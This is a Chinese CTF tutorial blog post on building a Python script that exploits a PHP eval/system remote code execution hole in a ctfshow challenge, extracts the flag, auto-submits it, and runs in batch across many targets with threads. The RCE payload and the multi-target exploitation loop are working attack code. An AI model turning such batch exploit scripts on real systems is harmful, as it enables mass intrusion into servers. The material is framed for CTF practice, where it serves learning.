Rce脚本自动化amp;批量

news2024/9/27 12:16:33

这里放上一篇我学生的投稿文章

0x00 前言

在现代网络安全领域,远程代码执行(RCE)漏洞的发现与利用成为了重要的研究课题。随着攻击手段的不断演进,安全专业人士面临着日益复杂的威胁环境。为应对这一挑战,自动化和批量处理工具的开发显得尤为重要。这不仅可以提高漏洞检测的效率,还能大幅降低人为操作带来的错误风险。

本指南旨在帮助读者理解如何通过 RCE 脚本实现自动化和批量处理。无论您是网络安全研究员、渗透测试人员还是 DevSecOps 工程师,这份指南将为您提供实用的工具和方法,帮助您快速识别和利用潜在的 RCE 漏洞。

在接下来的内容中,您将学习到:

  • RCE 漏洞的基本概念及其危害
  • 如何设计和编写有效的 RCE 脚本
  • 实现自动化与批量执行的最佳实践
  • 实际案例分析与应用场景

0x01 前期准备

首先我们需要用到这几个库

urlencode

requests

urllib3

colorama

没有这几个库的可以使用pip下载

pip install 库名

0x02 实验步骤

现在开始编写,这里我使用的是ctfshow作为演示比赛的时候进行微微的修改就行这里我用web31来作为案例进行编写

首先我们拿到我们的url,这里我会用两种方式,一种是直接赋值(适用于单个靶机,用来演示),一种是从文件里面打开获取(比赛的时候一般都是多台靶机我们可以把获取到的靶机全部放到一个文件里面进行批量)

通过审计代码发现?c=eval($_GET["b"]);&b=system("tac%20flag.php");能拿到flag,那么我们现在来编写poc

import requests

url_main = "https://da3ea8a4-de12-4f97-821f-2b81dd2505ba.challenge.ctf.show/"

param = {
    "c": 'eval($_GET["b"]);&b=system("tac flag.php");'#这里我们是我输入的payload
}
req = requests.get(url=url_main, params=param).text
print(req)

运行发现他报了这种错误

requests.exceptions.SSLError: HTTPSConnectionPool

翻译之后发现他是进行了SSL认证无法获得本地签发证书,刚好在request.get()方法里面有个传参verify,翻译过来就是检验,我们关闭他试试

添加之后再次运行发现还有报错,我们点开这个连接看看

import requests

url_main = "https://da3ea8a4-de12-4f97-821f-2b81dd2505ba.challenge.ctf.show/"

param = {
    "c": 'eval($_GET["b"]);&b=system("tac flag.php");'
}
req = requests.get(url=url_main, params=param,verify=False).text
print(req)

原来是一个在访问没有证书网站时候的警告,我们使用官方的方法进行捕获就行

import requests
import urllib3

urllib3.disable_warnings()
url_main = "https://da3ea8a4-de12-4f97-821f-2b81dd2505ba.challenge.ctf.show/"

param = {
    "c": 'eval($_GET["b"]);&b=system("tac flag.php");'
}
req = requests.get(url=url_main, params=param,verify=False).text
print(req)

这次运行发现什么都没有,按道理来说我们flag那个页面就已经出来了,这个时候我们使用burp抓包看看

burp抓包教程

选第一个然后添加8080

接下来配置我们的脚本

代码如下

import requests
import urllib3

urllib3.disable_warnings()
url_main = "https://da3ea8a4-de12-4f97-821f-2b81dd2505ba.challenge.ctf.show/"

param = {
    "c": 'eval($_GET["b"]);&b=system("tac flag.php");'
}
proxy = {
    'http': '127.0.0.1:8080',
    'https': '127.0.0.1:8080'
} #代理
# proxies设置代理
req = requests.get(url=url_main, params=param,verify=False,proxies=proxy).text
print(req)

运行抓包把包发到Repeater这个模块

发现url编码把=和&号给编码了浏览器没识别出来

这时候我们可以使用urlencode()这个方法来设置哪些参数不用编码

代码如下

from urllib.parse import urlencode

import requests
import urllib3

urllib3.disable_warnings()
url_main = "https://da3ea8a4-de12-4f97-821f-2b81dd2505ba.challenge.ctf.show/"

param = {
    "c": 'eval($_GET["b"]);&b=system("tac flag.php");'
}
proxy = {
    'http': '127.0.0.1:8080',
    'https': '127.0.0.1:8080'
}
par = urlencode(param, safe='?&=') #这里是我设置不想编码的部分,可以修改
req = requests.get(url=url_main, params=par,verify=False,proxies=proxy).text
print(req)

抓包一看 这次我们的=和&没有被编码,flag也出来了

这里我们把抓包关掉进入终端一看,发现整个页面的内容都出来了,但是我只想要ctfshow{}这一段用来提交,这里可以使用正则表达式来进行筛选

这里ctfshow里面的内容就被提取出来了

接下来是重点了,可能有些人会问:我们提取出来之后自己手动交嘛太low了吧,那我只能说NONONO小哥哥,既然是自动化,那么就要自动到底

这里我们点开我们的f12抓到提交的接口,或者也可以通过burp抓包拿到接口数据

接口

现在来写配置

代码如下,抓包看一下,记得post这个方法也配置代理,这样我们就会接受到两个包,把第一个包放掉就行

data = requests.post(url=interface, json=dat,verify=False,proxies=proxy).text

import re
from urllib.parse import urlencode

import requests
import urllib3

urllib3.disable_warnings()
url_main = "https://2325a7ef-cb8d-45c8-b644-acf343ed8705.challenge.ctf.show/"

param = {
    "c": 'eval($_GET["b"]);&b=system("tac flag.php");'
}
proxy = {
    'http': '127.0.0.1:8080',
    'https': '127.0.0.1:8080'
}
par = urlencode(param, safe='?&=')
req = requests.get(url=url_main, params=par, verify=False, proxies=proxy).text
pa = r"ctfshow\{.*?\}"
mat = re.search(pa, req)
if mat:
    flag = mat.group()
    interface = "https://ctf.show/api/v1/challenges/attempt"
    dat = {"challenge_id": 393, "submission": "123"}
    # 这里我们的数据是json格式的所以我们就把data改为json
    data = requests.post(url=interface, json=dat,verify=False,proxies=proxy).text
    print(data)

抓包返回403,这里的原因我们没有配置header头,我们要把自己伪装得更像一个浏览器,我们对比两个数据包

发现我们自己编写的数据包少了很多东西,这里我们可以来配置一下这几个点,再次抓包发现多了我们配置的东西发送直接就提交成功了

代码

import re
from urllib.parse import urlencode

import requests
import urllib3

urllib3.disable_warnings()
url_main = "https://2325a7ef-cb8d-45c8-b644-acf343ed8705.challenge.ctf.show/"

param = {
    "c": 'eval($_GET["b"]);&b=system("tac flag.php");'
}
proxy = {
    'http': '127.0.0.1:8080',
    'https': '127.0.0.1:8080'
}
ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 " \
"(KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0"
conf = {
    "User-Agent" : ua,
    "Referer": "https://ctf.show/challenges", #我们配置的请求体
    "Csrf-Token": "你的token",
    "Cookie": "你的cookie "
}
par = urlencode(param, safe='?&=')
req = requests.get(url=url_main, params=par, verify=False, proxies=proxy).text
pa = r"ctfshow\{.*?\}"
mat = re.search(pa, req)
if mat:
    flag = mat.group() #把我们正则之后的值赋值给flag
    interface = "https://ctf.show/api/v1/challenges/attempt"
    dat = {"challenge_id": 393, "submission": flag} #这里别忘记换成你的flag
    # 这里我们的数据是json格式的所以我们就把data改为json
    #别忘了配置关闭检验,添加代理,headers是用来配置请求体的
    data = requests.post(url=interface, json=dat,verify=False,proxies=proxy,headers=conf).text
    print(data)

接下来就是实现我们的批量

pip install colorama

下载颜色库

import re
from urllib.parse import urlencode
from colorama import Fore, Back, Style
import requests
import urllib3

urllib3.disable_warnings()
param = {
    "c": 'eval($_GET["b"]);&b=system("tac flag.php");'
}
proxy = {
    'http': '127.0.0.1:8080',
    'https': '127.0.0.1:8080'
}
ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 " \
"(KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0"
conf = {
    "User-Agent": ua,
    "Referer": "https://ctf.show/challenges",
    "Csrf-Token": "你的token",
    "Cookie": "你的cookie"
}
with open("1.txt", "r") as fp: #我们在自己脚本同包下创建一个1.txt里面放批量的网站
    lis = fp.read().split("\n") #这里通过\n来读取每个网站,不添加的话只会读取一个或者报错
    par = urlencode(param, safe='?&=')#我们的正则表达式规则
    try:
        for i in lis:
            req = requests.get(url=i, params=par, verify=False, proxies=proxy,headers=conf).text
            pa = r"ctfshow\{.*?\}"
            mat = re.search(pa, req)
            if mat:
                flag = mat.group()
                interface = "https://ctf.show/api/v1/challenges/attempt"
                dat = {"challenge_id": 393, "submission": flag}
                # 这里我们的数据是json格式的所以我们就把data改为json
                #下面这一串代码可有可无,就是加颜色的好看
                data = requests.post(url=interface, json=dat, verify=False, proxies=proxy, headers=conf).json()
                boo = {'status': 'already_solved', 'message': 'You already solved this'}
                if data.get('data') == boo: #这里我是抓取了提取成功返回包里面的data,转换为json格式就行,然后进行对比
                    print(Fore.GREEN + flag) #这里为了更加好看我加了绿色和红色
                else:
                    print(Fore.RED + flag)
                #捕获异常的代码需要哦    
    except requests.exceptions.MissingSchema as e:
        print(Fore.RED+ "1") #这里是捕获我们一个报错的信息,它显示我url没加https://
                            #但是我加了他还是报错,但是不影响功能,我就把他捕获起来了

接下来就是实现我们的批量

pip install colorama

下载颜色库

import re
from urllib.parse import urlencode
from colorama import Fore, Back, Style
import requests
import urllib3

urllib3.disable_warnings()
param = {
    "c": 'eval($_GET["b"]);&b=system("tac flag.php");'
}
proxy = {
    'http': '127.0.0.1:8080',
    'https': '127.0.0.1:8080'
}
ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 " \
"(KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0"
conf = {
    "User-Agent": ua,
    "Referer": "https://ctf.show/challenges",
    "Csrf-Token": "你的token",
    "Cookie": "你的cookie"
}
with open("1.txt", "r") as fp: #我们在自己脚本同包下创建一个1.txt里面放批量的网站
    lis = fp.read().split("\n") #这里通过\n来读取每个网站,不添加的话只会读取一个或者报错
    par = urlencode(param, safe='?&=')#我们的正则表达式规则
    try:
        for i in lis:
            req = requests.get(url=i, params=par, verify=False, proxies=proxy,headers=conf).text
            pa = r"ctfshow\{.*?\}"
            mat = re.search(pa, req)
            if mat:
                flag = mat.group()
                interface = "https://ctf.show/api/v1/challenges/attempt"
                dat = {"challenge_id": 393, "submission": flag}
                # 这里我们的数据是json格式的所以我们就把data改为json
                #下面这一串代码可有可无,就是加颜色的好看
                data = requests.post(url=interface, json=dat, verify=False, proxies=proxy, headers=conf).json()
                boo = {'status': 'already_solved', 'message': 'You already solved this'}
                if data.get('data') == boo: #这里我是抓取了提取成功返回包里面的data,转换为json格式就行,然后进行对比
                    print(Fore.GREEN + flag) #这里为了更加好看我加了绿色和红色
                else:
                    print(Fore.RED + flag)
                #捕获异常的代码需要哦    
    except requests.exceptions.MissingSchema as e:
        print(Fore.RED+ "1") #这里是捕获我们一个报错的信息,它显示我url没加https://
                            #但是我加了他还是报错,但是不影响功能,我就把他捕获起来了

果图

抓的这一段来对比如果一样那么就提交正确,大家到时候可以先提交一个然后看返回包

ps(其实这一段代码可有可无,就是为了加个颜色好看哈哈.....)

现在是加上多项线程之后速度得到了明显的提升,因为我们是比赛嘛,所以就别管他sleep()几秒了,要是心疼他们的话那就加个sleep(0.1)把

这里解释一下这串代码,这里用了ai帮我解释,让大家看的更全面

threading.Thread(target=process_url, args=(i,))

threading.Thread是 Python 中用于创建线程的类。

  • target=process_url指定了这个线程要执行的目标函数为process_url。当线程启动时,它将执行这个函数。
  • args=(i,)是传递给目标函数的参数。在这里,i是从lis列表中读取的一个 URL,将其作为参数传递给process_url函数,以便在该函数中使用这个 URL 进行网络请求等操作

args=(i,)中添加逗号的原因是要将参数表示为一个元组。

在 Python 中,如果只有一个元素的元组,必须在元素后面加上逗号,否则它会被解释为一个普通的值而不是元组。例如,(i)会被视为与i本身相同的值,而(i,)则明确表示是一个包含一个元素的元组。

在这个场景中,args参数期望的是一个可迭代对象(通常是元组或列表),用来传递给目标函数。如果不加逗号,当i是单个值时,传递给目标函数的参数就不正确了

import re
import time
from urllib.parse import urlencode
from colorama import Fore, Back, Style
import requests
import urllib3
import threading

urllib3.disable_warnings()

param = {
    "c": 'eval($_GET["b"]);&b=system("tac flag.php");'
}
proxy = {
    'http': '127.0.0.1:8080',
    'https': '127.0.0.1:8080'
}
ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 " \
"(KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0"
conf = {
    "User-Agent": ua,
    "Referer": "https://ctf.show/challenges",
    "Csrf-Token": "你的Token",
    "Cookie": "你的cookie"
}


def process_url(url):
    par = urlencode(param, safe='?&=')
    try:
        req = requests.get(url=url, params=par, verify=False, proxies=proxy, headers=conf).text
        pa = r"ctfshow\{.*?\}"
        mat = re.search(pa, req)
        if mat:
            flag = mat.group()
            interface = "https://ctf.show/api/v1/challenges/attempt"
            dat = {"challenge_id": 393, "submission": flag}
            data = requests.post(url=interface, json=dat, verify=False, proxies=proxy, headers=conf).json()
            boo = {'status': 'already_solved', 'message': 'You already solved this'}
            if data.get('data') == boo:
                print(Fore.GREEN + flag)
            else:
                print(Fore.RED + flag)
    except requests.exceptions.MissingSchema as e:
        print(Fore.RED + "1")


with open("1.txt", "r") as fp:
    lis = fp.read().split("\n")
    threads = []
    for i in lis:
        t = threading.Thread(target=process_url, args=(i,)) #解释在上面
        threads.append(t)
        t.start()
        time.sleep(0.2) #这里是睡眠
    for t in threads:
        t.join()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2169954.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ChatGPT Sidebar 浏览器插件配置指南

随着聊天机器人技术的不断进步,越来越多的人开始依赖这些强大的工具来提高工作效率、获取信息和解决问题。OpenAI 的 ChatGPT 是其中最受欢迎的聊天机器人之一。为了方便用户在浏览网页时随时与 ChatGPT 互动,开发者们设计了一款名为 ChatGPT Sidebar 的…

30+程序员顶着被裁员的压力,为什么选择从零开始:转行大模型?

在当今这个科技进步迅速的时代,程序员作为引领技术革新的关键角色,正处于一个既充满机会又面临挑战的关键时刻。随着人工智能、大数据处理、云服务等领域的迅猛发展,大型模型(例如GPT系列、BERT等)已经成为行业内的热议…

【07】纯血鸿蒙HarmonyOS NEXT星河版开发0基础学习笔记-Swiper轮播组件与样式结构重用

序言: 本文详细讲解了关于我们在页面上经常看到的轮播图在鸿蒙开发中如何用Swiper实现,介绍了Swiper的基本用法与属性,及如何面对大段的重复代码进行封装和重用(Extend、Styles、Builder),使代码更加简洁易…

HarmonyOS鸿蒙开发实战( Beta5.0)标题下拉缩放实践案例

鸿蒙HarmonyOS NEXT开发实战往期文章必看(持续更新......) HarmonyOS NEXT应用开发性能实践总结 HarmonyOS NEXT应用开发案例实践总结合集 最新版!“非常详细的” 鸿蒙HarmonyOS Next应用开发学习路线!(从零基础入门…

耦合微带线单元的网络参量和等效电路公式推导

文档下载链接:耦合微带线单元的网络参量和等效电路资源-CSDN文库https://download.csdn.net/download/lu2289504634/89583027笔者水平有限,错误之处欢迎留言! 一、耦合微带线奇偶模详细推导过程 二、2,4端口开路 三、2端口短路、3端口开路 四…

护眼台灯哪个品牌更好?五款由专业眼科医生推荐的护眼台灯

台灯是每个家庭中不可或缺的照明设备,尤其是对于有学龄儿童的家庭来说,孩子们每天在家学习和做作业时,一款优秀的护眼台灯显得尤为重要。如果长期使用的台灯是不合格,不能给孩子提供一个好的光照环境,那么孩子们的视力…

VUE.js笔记

1.介绍vue Vue 是一款用于构建用户界面的 JavaScript 框架。它基于标准 HTML、CSS 和 JavaScript 构建,并提供了一套声明式的、组件化的编程模型,帮助你高效地开发用户界面。无论是简单还是复杂的界面,Vue 都可以胜任。 Vue 应用程序的基本…

镭射限高防外破预警装置-线路防外破可视化监控,安全尽在掌握中

镭射限高防外破预警装置-线路防外破可视化监控,安全尽在掌握中 在城市化浪潮的汹涌推进中,电力如同现代社会的生命之脉,其安全稳定运行直接关系到每一个人的生活质量和社会的整体发展。然而,随着建设的加速,电力设施通…

宠物店揭秘!那种猫罐头好?4款营养满分主食罐头来袭

五年来,我家宠物店始终秉持初心,为猫咪打造了一个美食乐园,从湿猫粮、干猫粮,到各式零食,应有尽有。最近,猫罐头这股热潮更是席卷而来,成为许多猫咪的新宠。然而,面对市场上各式各样…

C语言课程设计题目四:实验设备管理系统设计

序号系统设计题目进度1职工信息管理系统设计已完成,在本专栏2图书信息管理系统设计已完成,在本专栏3图书管理系统设计已完成,在本专栏4实验设备管理系统设计已完成,在本专栏5西文下拉菜单的设计链接6学生信息管理系统设计链接7学生…

Spring Boot入门全攻略:从环境搭建到项目运行,一步步带你走进高效Java开发的奇妙世界!

Spring Boot 是一个简化 Spring 应用开发的框架,它提供了一种快速、广泛接受的平台,用于创建独立的、生产级的基于 Spring 的应用。以下是一个简单的 Spring Boot 入门教程。 1. 环境准备 Java:确保安装了 Java 8 或更高版本。Maven/Gradle&…

【微信小程序】uniapp中HBuilder修改代码,微信开发者工具没有刷新

方法一:设置-编辑器-按图设置,去掉【修改文件时自动保存】 方法二:开启热加载 方法三:直接HBuilder中用在运行

c语言200例 64

大家好,欢迎来到无限大的频道。 今天带领大家来学习c语言。 题目要求: 设计一个进行候选人的选票程序。假设有三位候选人,在屏幕上输入要选择的候选人姓名, 有10次投票机会,最后输出每个人的得票结果。好的&#xff…

在线聊天室项目(Vue3 + SpringBoot)

目录 项目描述 技术栈选型 项目开发过程文档 项目页面效果 项目源码地址 项目描述 1. 网页在线聊天室,实现了群组系统和好友系统,因此项目可以在公共群组,私有群组和私人之间进行聊天。 2. 项目主要使用Websocket实时通信技术实现聊天&…

Arch Linux 安装步骤

仅做学习记录,有错漏之处欢迎批评指正! 上一节:用U盘制作安装镜像 文章目录 二、安装系统2.1 使用U盘启动安装系统2.2 连接网络Wi-Fi方式(1)开启iwd内置的DHCP客户端(2)启动iwd并连接Wi-Fi 2.3 …

C++冷门知识点1

1.特殊情况汇总: 负数,空指针,叶节点,INT_MAX和INT_MIN 2.双指针法(快慢指针,头尾指针),三数指针法(链表逆序那块) 3.一定要注意极端情况 2.e后边可以跟负数,但是不能跟小数 3.string的push_bac…

Navicat数据库管理工具实现Excel、CSV文件导入到MySQL数据库

1.所需要的工具和环境 navicat等第三方数据库管理工具云服务器中安装了 1Panel面板搭建的mysql数据库 2.基于 1Panel启动mysql容器 2.1 环境要求 安装前请确保您的系统符合安装条件: 操作系统:支持主流 Linux 发行版本(基于 Debian / Re…

【Wireshark笔记】通过Wireshark检测和分析TCP重传

通过Wireshark检测和分析TCP重传 在网络通信中,TCP重传(TCP Retransmission)是一种非常重要的现象,特别是在分析网络性能和故障排查时。重传数据包会影响网络性能,导致延迟增加,甚至引发网络拥塞等问题。为…

Java刷题:最小k个数

目录 题目描述: 思路: 具体实现 整体建立一个大小为N的小根堆 通过大根堆实现 完整代码 力扣链接:面试题 17.14. 最小K个数 - 力扣(LeetCode) 题目描述: 设计一个算法,找出数组中最小的…

【Java 问题】基础——异常

接上文 异常 39.Java 中异常层级结构?40.异常的处理机制?41.三道经典异常处理代码题 39.Java 中异常层级结构? Java的异常是分为多层的。 Throwable 是 Java 语言中所有错误或异常的基类。 Throwable 又分为 Error 和 Exception ,其中Error是系统内部…